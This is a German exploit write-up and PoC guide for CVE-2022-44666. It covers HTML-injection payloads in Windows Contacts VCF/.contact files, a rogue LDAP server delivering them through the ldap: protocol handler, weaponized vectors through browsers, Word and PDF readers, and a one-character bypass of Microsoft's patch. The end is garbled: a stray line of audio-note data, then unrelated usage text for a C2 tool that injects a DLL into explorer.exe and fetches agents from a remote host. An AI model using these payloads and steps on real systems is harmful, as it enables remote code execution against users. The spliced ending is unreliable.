
Technischer Bericht und Proof-of-Concept für CVE-2022-44666, eine Escape-Schwachstelle im href-Attribut des Syslink-Steuerelements von Windows-Kontakten, die Remote-Codeausführung über präparierte VCF/.contact-Dateien und den LDAP-Protokollhandler ermöglicht.
Dies ist die Geschichte über einen weiteren vergessenen 0day, der vor mehr als 4 Jahren von [John Page (aka hyp3rlinx)][R.1] vollständig offengelegt wurde. Um den Bericht zu verstehen, müssen Sie bedenken, dass ich dumm bin :-) Und meine Dummheit treibt mich dazu, längere Wege zu gehen, um einfache Probleme zu lösen, führt mich aber auch dazu, andere Wege zu finden, einige Bugs auszunutzen. Warum sage ich das? Weil ich nicht schnell verstanden habe, dass der Weg, eine .contact-Datei zu erstellen, einfach darin besteht, zum Kontakt-Ordner zu navigieren, um den Kontakt zu erstellen. Stattdessen habe ich diese Information verwendet, um zuerst eine VCF-Datei zu erstellen, und dann dachte ich fälschlicherweise, dass dies eine Art Variante sei. Das lag auch daran, dass mein Gehirn nicht verstehen kann, dass einige 0days so lange vergessen werden ¯\(ツ)/¯ Nachdem das erledigt war und nach den „wontfix“-Antworten von [MSRC][R.2] und [ZDI][R.3], wurden weitere Untersuchungen durchgeführt, um die Schwere zu erhöhen, und schließlich wurden .contact-Dateien und der Windows-URL-Protokollhandler „ldap“ erreicht.
Während ich den Exploit-Code für [diese Schwachstelle][R.4] las, die tatsächlich als 0day veröffentlicht wurde und [ZDIs Bericht][R.5] zu finden ist.
Update 2022/07/21: Nach der Meldung dieses Falls an MS wiesen mich die MSRC-Leute zu Recht darauf hin, dass Windows Kontakte nicht das Standardprogramm zum Öffnen von VCF-Dateien ist.

Weitere Untersuchungen zeigen dennoch, dass das Standardprogramm für VCF-Dateien unter Win7 ESU & WinServer2019 Windows Kontakte (wab.exe) ist, ansonsten wird MS People (PeopleApp.exe) verwendet. Hier ist eine vollständige Tabelle dieser Tests:
Jedenfalls argumentieren sie weiterhin, dass ein gewisses Social Engineering damit verbunden ist, wie das Öffnen einer manipulierten VCF-Datei und das Klicken auf einige Links, um den Bug auszunutzen, sodass es die MSRC-Bug-Bar für ein Sicherheitsupdate nicht erfüllt.

Update 2022/07/25: Nun, nach weiteren Recherchen ist es derselbe Bug. Ich konnte endlich einen Proof-of-Concept für eine .contact-Datei finden. Es ist tatsächlich möglich, eine .contact-Datei mit HTML-Entities korrekt zu parsen. Beachten Sie, dass dies das vorherige Problem löst (Update 2022/07/21) und dieses Dateiformat (.contact) von Windows Kontakte geöffnet wird, dem Standardprogramm für diese Dateierweiterung, selbst wenn MS Office auf dem System installiert ist. Es wird lediglich eine erste Dateizuordnung benötigt, falls noch nicht geschehen, aber das einzige standardmäßig installierte Programm dafür ist Windows Kontakte.
Update 2022/07/25: Diese weiteren Recherchen führten mich zu einem Punkt, den ich schon vor einiger Zeit erreichen wollte: Verwenden Sie einen URL-Protokollhandler, um automatisch manipulierte Kontaktdaten zu öffnen und den Bug auszunutzen. Ich konnte es schließlich dank des ldap-URI-Schemas zum Laufen bringen, das standardmäßig mit der Windows Kontakte-Anwendung verknüpft ist. Indem man also einen betrügerischen LDAP-Server einrichtet und die Payload-Daten unter den Attributen mail, url oder wwwhomepage bereitstellt, wird die Auswirkung des Exploits erhöht, da es nun nicht mehr erforderlich ist, eine bösartige VCF-/Contact-Datei doppelt anzuklicken; wir können dies über URL-Protokolle ausliefern.
Update 2023/02/08: Als Zeichen des guten Willens von MSRC wurde [John Page (aka hyp3rlinx)][R.1] in die Anerkennungsseite für die Entdeckung von [CVE-2022-44666][R.10] aufgenommen.

Der Bericht ist im Grunde derselbe wie die obigen Links, jedoch habe ich das Social Engineering etwas verbessert. Tatsächlich bestand das Erste, was ich tat, darin, die Art und Weise zu verbessern, wie die Links gesehen werden, ähnlich wie bei einer XSS-Schwachstelle. Es handelt sich tatsächlich um eine HTML-Injection, sodass es möglich ist, das erste Ankerelement zu schließen und ein neues einzufügen. Dann wollte ich die Sichtbarkeit für diese HTML-Elemente entfernen, sodass das Setzen eines möglichst langen „innerHTML“ ausreichen würde, um sie zu verbergen (da es Zeichenbegrenzungen gibt).
Dies ist die endgültig verwendete Payload:```html URL;WORK:">CLICKMEEEEE...
Um zu sehen, was passiert, führen Sie procmon aus und richten Sie ein gefälschtes Ziel des href-Attributs wie folgt ein:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
Nachdem der Link angeklickt wurde, wird in procmon eine Ausgabe wie diese beobachtet:

Dies ist der Stacktrace für den ersten "CreateFile"-Vorgang:``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
Wenn wir einen Haltepunkt in **Shell32!ShellExecuteExW** setzen, erhalten wir ein klareres Bild der beteiligten Funktionen:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
Und der involvierte Pseudocode ist der folgende:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
Danach wird klar, dass das Problem tatsächlich [SysLink-Steuerelemente in der comctl32.dll-Bibliothek][R.6] betrifft und wie das href-Attribut von der wab32.dll-Bibliothek geparst wird.
Es ist nicht möglich, Remote-Freigaben oder WebDAVs zur Ausnutzung zu verwenden.```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
Die Dateiinformationen werden abgefragt, aber niemals ausgeführt.

Es ist möglich, relative Pfade zu verwenden, wie z.B.:```html URL;WORK:">CLICKMEEEEE...

Beispiel:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>

Geht man weiter und testete man rundll32 als Angriffsvektor, fiel auf, dass es nicht möglich war, Argumente mit der ausgewählten ausführbaren Nutzlast zu verwenden. Jedoch war es mit einer LNK-Datei, die auf eine gewählte ausführbare Datei abzielt, möglich, Befehlszeilenargumente zu verwenden. Es ist etwas knifflig, funktioniert aber.```html URL;WORK:">CLICKMEEEEE...
Ziel von run.lnk:```
rundll32.exe hidden\payload.bin,Foo"

Dies sieht interessanter aus, da keine ausführbare Datei im Zielsystem abgelegt werden muss.
Remotecodeausführung als aktuell angemeldeter Benutzer.
Es muss eine Dateizuordnung existieren, um Windows-Kontakte zum Öffnen von .vcf-Dateien zu verwenden.
Update 2021/07/25: Für Kontaktdateien (.contact) gibt es standardmäßig nur eine Anwendung zum Öffnen: Windows-Kontakte, selbst wenn MS Office im Zielsystem installiert ist.
Verwendung der Dateien in ./report-pocs/:
Es gibt einige Videos in ./videos:


Dies ist eine Zusammenfassung der Konzeptnachweisdateien in ./report-pocs/:
Und Dateien in ./src:
Für eine weitergehende Ausnutzung, da die Schwachstelle das Laden von Dateien von freigegebenen Remotepfaden nicht erlaubt, ist das URI-Protokoll "search-ms" ein interessanter Vektor. Sie finden Konzeptnachweise, die nur eine lokale Binärdatei wie calc oder notepad auslösen, und komplexere Konzeptnachweise, die ich als weaponized Exploit bezeichnet habe, da sie keine lokalen Dateien ausführen. Diese PoCs und Exploits befinden sich in ./further-pocs/.
Dies ist eine Zusammenfassung der Zielanwendungen:
Zur Reproduktion:
Richten Sie einen freigegebenen Remotepfad (SMB oder WebDav) ein. Kopieren Sie den Inhalt von ./further-pocs/to-copy-in-remote-shared-location/ dorthin.
Wenn gewünscht, verstecken Sie die Dateien durch Ausführen von ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.
Ändern Sie die Datei exploit.html/poc.html in ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ so, dass sie auf Ihren freigegebenen Remotepfad verweist.
Starten Sie einen Webserver im Pfad der Zielanwendung, also: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/.
Führen Sie je nach Fall die Poc/Exploit-Dateien aus.
Weitere Informationen finden Sie in den Videos unter ./videos:




Zusätzlich sind dies alle Dateien für die weitergehende Ausnutzung:
Nach Erhalt des Updates 2022/07/21 von MSRC beschloss ich, einen Blick auf die Kontaktdateierweiterung zu werfen, da dies bestätigen würde, ob es sich um denselben Fall handelt wie der vom ursprünglichen Entdecker gefundene – und natürlich ist es so. Mein erster Konzeptnachweis verwendete nur ein anderes Dateiformat, aber der Fehler ist derselbe. Mit wabmig.exe in "C:\Program Files\Windows Mail" ist es möglich, alle VCF-Dateien in Kontaktdateien zu konvertieren.

Und wie in den Einleitungsaktualisierungen erwähnt, werden diese Dateien von Windows-Kontakten (Standardprogramm) geöffnet.
Die Reproduktionsschritte sind dieselben wie für VCF-Dateien. Die für VCF-Dateien beobachteten Einschränkungen gelten auch für Kontaktdateien, d. h. es ist nicht möglich, freigegebene Remotepfade für das Attribut "href" zu verwenden, aber lokale Pfade oder das URL-Protokoll "search-ms" sind weiterhin möglich.
Dies sind alle Dateien, die zur Ausnutzung von Kontaktdateien hinzugefügt oder geändert wurden:
Wie oben erwähnt, führte diese weitere Forschung zu einem Punkt, den ich schon seit einiger Zeit erreichen wollte: die Verwendung eines URL-Protokoll-Handlers, um automatisch manipulierte Kontaktdaten zu öffnen und den Fehler auszunutzen. Diese Herausforderung wurde schließlich dank des ldap-URI-Schemas gemeistert.```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
Das heißt:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
Indem man einfach einen schurkischen LDAP-Server einrichtet und die Payload-Daten bereitstellt, ist es möglich, diesen URL-Protokoll-Handler zu verwenden, um Windows-Kontakte (wab.exe) mit einer schädlichen Payload in den ldif-Attributen mail, url oder wwwhomepage zu starten. Beachten Sie, dass ich dies nicht mit dem Attribut 'wwwhomepage' zum Laufen bringen konnte, wie [hier][R.8] angegeben, aber theoretisch sollte es funktionieren.
Der erstellte ldif-Inhalt sieht etwa so aus:```html ... dn: dc=org dc: org objectClass: dcObject
dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization
dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...
Und der Code für den betrügerischen LDAP-Server wurde vom Schnellstart-Server des ldaptor-Projekts entliehen, der sich [hier][R.9] befindet.
Dies ist eine Zusammenfassung der Zielanwendungen:
* Browser: MS Edge, Google Chrome, Mozilla Firefox & Opera.
* MS Word.
* PDF-Reader (hauptsächlich Adobe Acrobat Reader DC & Foxit PDF Reader).
Die Schritte zur Reproduktion sind:
1. Kopieren Sie [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs) in eine entfernte gemeinsame Freigabe (SMB oder WebDav).
2. Falls gewünscht, verstecken Sie die Dateien durch Ausführen von [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat).
3. Installieren Sie ldaptor per pip: pip install ldaptor. Beachten Sie, dass dies unter Python 2.7 x64 getestet wurde.
4. Starten Sie den betrügerischen LDAP-Server, der sich in [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py) befindet.
5. Starten Sie einen Webserver im Pfad der Zielanwendung, das heißt: ./further-pocs/[Vector oder Zielanwendung]/url-protocol-ldap/.
6. Führen Sie die Exploit-Dateien je nach Fall aus.
7. Weitere Informationen finden Sie in den Videos unter [./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos):
- 7.1. Für Browser: [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif).

- 7.2. Für MS Word: [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif).

- 7.3. Für PDF-Reader: [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif).

Dies sind die zusätzlichen Dateien zum Ausnutzen des URL-Protokolls ldap:
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html): HTML-Datei zum Laden des URL-Protokolls ldap auf einem betrügerischen LDAP-Server, der konstruierte Daten für Mail und URLs zurückgibt.
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html): Remote-Vorlage aka htmlfile activex zum Laden des URL-Protokolls ldap auf einem betrügerischen LDAP-Server, der konstruierte Daten für Mail und URLs zurückgibt.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf): Word-Datei im RTF-Format, die eine Remote-Vorlage aka htmlfile activex auslöst.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx): Word-Datei im DOCX-Format, die eine Remote-Vorlage aka htmlfile activex auslöst.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html): HTML-Datei zum Laden des URL-Protokolls ldap auf einem betrügerischen LDAP-Server, der konstruierte Daten für Mail und URLs zurückgibt.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf): PDF, das den Standardbrowser auslöst, das URI-Protokoll "ldap" auszuführen.
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py): Python-Skript basierend auf dem Server-Beispiel für ldaptor, das unter Python 2.7 läuft und die konstruierten Daten bereitstellt, um den Fehler über die LDIF-Attribute mail, url und wwwhomepage auszunutzen.
## CVE-2022-44666: Patch-Analyse und unvollständige Korrektur
Am 13. Dezember 2022 wurde der Patch für diese Sicherheitslücke von Microsoft als [CVE-2022-44666][R.10] veröffentlicht.
Die zum Vergleichen des Patches verwendeten Versionen (befindlich in C:\Program Files\Common Files\System\wab32.dll) waren:
+ MD5: 588A3D68F89ABF1884BEB7267F274A8B (pre-patch)
+ MD5: D1708215AD2624E666AFD97D97720E81 (post-patch)
Durch Vergleichen der betroffenen Bibliothek (wab32.dll) mit [Diaphora][R.11] von [@matalaz][R.12] werden wir einige neue Funktionen finden:

Und dies sind die teilweisen Übereinstimmungen:

Ein Blick in den neuen Code in der Funktion "fnSummaryProc":```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
Nach dem Fix ruft der neue Code die Funktion "SafeExecute" (2) auf oder zeigt ein Meldungsfeld (4).

Um den Aufruf der Funktion "SafeExecute" (2) zu erreichen, kann man dem Code-Flow in (1) folgen:```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }
Diese Funktion prüft zunächst, ob die [URL in (5) gültig ist][R.13], dann prüft sie in (6), ob sie mit "http" oder "https" beginnt. Dieser Codepfad scheint sicher genug. Zurück zur Funktion "fnSummaryProc": Es gibt einen weiteren Codepfad, der helfen könnte, die Behebung in (3) zu umgehen.```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
Eine Sache hat meine Aufmerksamkeit in (7) erregt, wo der Code überprüft, ob ein Zeichen "@" vorhanden ist. Dann ruft es die Funktion "IsDomainName" auf, um zu überprüfen, ob der String nach dem Zeichen "@" ein Domainname ist:```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx
v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }
Der Bypass für den Fix ist ziemlich einfach. Es ist nur notwendig, ein einzelnes Zeichen "@" zu verwenden. Symlink-href-Attribute wie diese werden den Fix erfolgreich umgehen:```html
hidden\@payload.lnk
hidden\@payload.exe
F 0F F# D C5 G# C5 G# C5 Audio RecursiveFrequency 0F 00 F# 00 D 00 C5 00 G# 00 C5 00 G# 00 C5 Audio+Null LSB B2 G# A A G# G# A A G# B2 B2 Audio Null+LSB 6D 7B 34 A1 3B 2B 41 2B C9 AB A9 8A 0E EF Audio+Null
Das Skript wird wie folgt ausgeführt:
# Generates an agent.dll file, but does not load it in an existing process.
python3 venombuilder.py -m file
# Generates an agent.dll file and injects it into the existing explorer.exe process.
python3 venombuilder.py -m process
# Fetches a remote file agent.dll and injects it into the existing explorer.exe process.
python3 venombuilder.py -m remote -u 192.168.1.20/agent.dll
Hinweis: Der endgültige Agent sollte vor dem laufenden TeraVenom ausgeführt werden.
usage: getcert.py [-h] [-d DOMAIN] [-p PASSWORD] [-u URL] [-f FILE] [-s STUB]
optionale Argumente:
-h, --help zeigt diese Hilfemeldung an und beendet das Programm
-d DOMAIN, --domain DOMAIN
Domainname
-p PASSWORD, --password PASSWORD
Passwort für die RC4-Verschlüsselung
-u URL, --url URL URL zum Abrufen des Remote-Agenten oder Stubs
-f FILE, --file FILE Dateiname zum Herunterladen des C2-Profils
-s STUB, --stub STUB Stub-Name
Wenn Sie das Passwort bereits kennen, das zur Verschlüsselung des C2-Profils verwendet wurde, können Sie dieses TeraVenom-Modul verwenden, um das C2-Profil auf die Festplatte zu schreiben.
File: Note-Dump-C2-Profile.txt
Hinweis: Führen Sie dieses Skript aus, um das C2-Profil auf die Festplatte zu schreiben.
Um das C2-Profil mit Stub auszulesen:
python3 getcert.py -u http://192.168.1.20/note.txt -s note.txt -p test
Um das C2-Profil mit Domain auszulesen:
